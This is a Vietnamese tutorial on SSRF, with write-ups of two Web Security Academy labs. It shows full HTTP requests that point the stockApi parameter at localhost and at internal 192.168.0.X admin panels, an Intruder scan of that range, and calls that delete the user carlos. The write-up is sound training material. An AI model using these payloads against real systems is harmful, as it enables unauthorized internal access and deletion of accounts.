What is SSRF?
Là một lỗ hổng cho phép kẻ tấn công khiến cho server của ứng dụng gửi request đến một dịch vụ nội bộ trong hạ tầng của ứng dụng hoặc đến một hệ thống bên ngoài nhằm tiết lộ dữ liệu nhạy cảm.

What is the Impact of SSRF Attacks?
Tấn công SSRF có thể giúp attacker thực hiện các hành động không được ủy quyền chẳng hạn như truy cập vào dữ liệu trái phép. Việc này có thể xảy ra trong nội bộ ứng dụng hoặc các hệ thống back-end mà ứng dụng giao tiếp. Trong một số trường hợp, lỗ hổng SSRF có thể dẫn đến thực thi lệnh tùy ý.
Common SSRF Attacks
SSRF Attacks Against the Server
Kẻ tấn công sẽ khiến cho ứng dụng gửi request về server thông qua loopback network interface (127.0.0.1 hoặc localhost).
Ví dụ, chức năng kiểm tra tồn kho của ứng dụng có một query param là URL dùng để truy vấn dữ liệu từ back-end như sau:
POST /product/stock HTTP/1.0
Content-Type: application/x-www-form-urlencoded Content-Length: 118
stockApi=http://stock.weliketoshop.net:8080/product/stock/check%3FproductId%3D6%26storeId%3D1Trong trường hợp này, kẻ tấn công có thể thay đổi query param để trỏ đến chính server:
POST /product/stock HTTP/1.0
Content-Type: application/x-www-form-urlencoded
Content-Length: 118
stockApi=http://localhost/adminThông thường thì endpoint /admin chỉ có thể được truy cập bởi các người dùng được ủy quyền. Tuy nhiên, việc gửi request từ chính server có thể bypass được ràng buộc này.
Các lý do mà có thể làm cho server tin tưởng địa chỉ localhost:
- Access control chỉ được cài đặt ở phần front-end.
- Server cho phép địa chỉ localhost thực hiện các thao tác của admin mà không cần đăng nhập (phục vụ cho mục đích khôi phục hệ thống trong trường hợp admin mất credentials).
- Giao diện của trang quản lý có thể nằm ở một port khác với port của ứng dụng nên người dùng không tiếp cận được.
Lab: Basic SSRF Against the Local Server
Mô tả lab:
- Lab này có chức năng kiểm tra tồn kho thực hiện lấy dữ liệu từ hệ thống nội bộ.
- Mục tiêu là truy cập vào giao diện của admin tại
http://localhost/adminvà xóa người dùngcarlos.
Request kiểm tra tồn kho có dạng như sau:
POST /product/stock HTTP/2
Host: 0a07005503d27ce180a4766b00ee0021.web-security-academy.net
Cookie: session=v1SpiWhaBXdhjSXn2MjrC8oKFSj2W8Y7
Content-Length: 107
Sec-Ch-Ua: "Microsoft Edge";v="123", "Not:A-Brand";v="8", "Chromium";v="123"
Sec-Ch-Ua-Platform: "Windows"
Sec-Ch-Ua-Mobile: ?0
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.0.0 Safari/537.36 Edg/123.0.0.0
Content-Type: application/x-www-form-urlencoded
Accept: */*
Origin: https://0a07005503d27ce180a4766b00ee0021.web-security-academy.net
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: empty
Referer: https://0a07005503d27ce180a4766b00ee0021.web-security-academy.net/product?productId=1
Accept-Encoding: gzip, deflate, br
Accept-Language: vi,en-US;q=0.9,en;q=0.8
stockApi=http%3A%2F%2Fstock.weliketoshop.net%3A8080%2Fproduct%2Fstock%2Fcheck%3FproductId%3D1%26storeId%3D1Thay đổi giá trị của stockApi thành http://localhost/admin và gửi request thì nhận được response có đoạn code sau:
<section>
<h1>Users</h1>
<div>
<span>wiener - </span>
<a href="/admin/delete?username=wiener">Delete</a>
</div>
<div>
<span>carlos - </span>
<a href="/admin/delete?username=carlos">Delete</a>
</div>
</section>Tiếp tục đổi URL của stockApi thành http://localhost/admin/delete?username=carlos để xóa người dùng carlos.
SSRF Attacks Against Other Back-end Systems
Trong một số trường hợp, server có thể tương tác với các hệ thống back-end trong cùng một tổ chức.
Xét ví dụ ở trên, giả sử interface của trang admin có URL là https://192.168.0.68/admin. Attacker có thể thay đổi giá trị của queryParam để truy cập như sau:
POST /product/stock HTTP/1.0
Content-Type: application/x-www-form-urlencoded
Content-Length: 118
stockApi=http://192.168.0.68/adminLab: Basic SSRF Against Another Back-end System
Mô tả lab:
- Lab này có chức năng kiểm tra tồn kho thực hiện lấy dữ liệu từ hệ thống nội bộ.
- Mục tiêu là dùng tính năng này để quét các địa chỉ IP trong khoảng
192.168.0.Xnhằm tìm ra giao diện của admin ở port 8080 rồi thực hiện xóa người dùngcarlos.
Request kiểm tra tồn kho:
POST /product/stock HTTP/2
Host: 0a2a00890375395980fda3cb0097003a.web-security-academy.net
Cookie: session=ApitHhbK2bMV6XoDfythYbxUnAnBowni
Content-Length: 96
Sec-Ch-Ua: "Microsoft Edge";v="123", "Not:A-Brand";v="8", "Chromium";v="123"
Sec-Ch-Ua-Platform: "Windows"
Sec-Ch-Ua-Mobile: ?0
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.0.0 Safari/537.36 Edg/123.0.0.0
Content-Type: application/x-www-form-urlencoded
Accept: */*
Origin: https://0a2a00890375395980fda3cb0097003a.web-security-academy.net
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: empty
Referer: https://0a2a00890375395980fda3cb0097003a.web-security-academy.net/product?productId=1
Accept-Encoding: gzip, deflate, br
Accept-Language: vi,en-US;q=0.9,en;q=0.8
stockApi=http%3A%2F%2F192.168.0.1%3A8080%2Fproduct%2Fstock%2Fcheck%3FproductId%3D1%26storeId%3D1Sử dụng Intruder để quét qua các IP trong khoảng 192.168.0.X:
POST /product/stock HTTP/2
Host: 0a2a00890375395980fda3cb0097003a.web-security-academy.net
Cookie: session=ApitHhbK2bMV6XoDfythYbxUnAnBowni
Content-Length: 96
Sec-Ch-Ua: "Microsoft Edge";v="123", "Not:A-Brand";v="8", "Chromium";v="123"
Sec-Ch-Ua-Platform: "Windows"
Sec-Ch-Ua-Mobile: ?0
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.0.0 Safari/537.36 Edg/123.0.0.0
Content-Type: application/x-www-form-urlencoded
Accept: */*
Origin: https://0a2a00890375395980fda3cb0097003a.web-security-academy.net
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: empty
Referer: https://0a2a00890375395980fda3cb0097003a.web-security-academy.net/product?productId=1
Accept-Encoding: gzip, deflate, br
Accept-Language: vi,en-US;q=0.9,en;q=0.8
stockApi=http://192.168.0.§§:8080/adminTìm được X là 152:

Thay đổi URL thành http://192.168.0.152:8080/admin/delete?username=carlos để xóa người dùng carlos.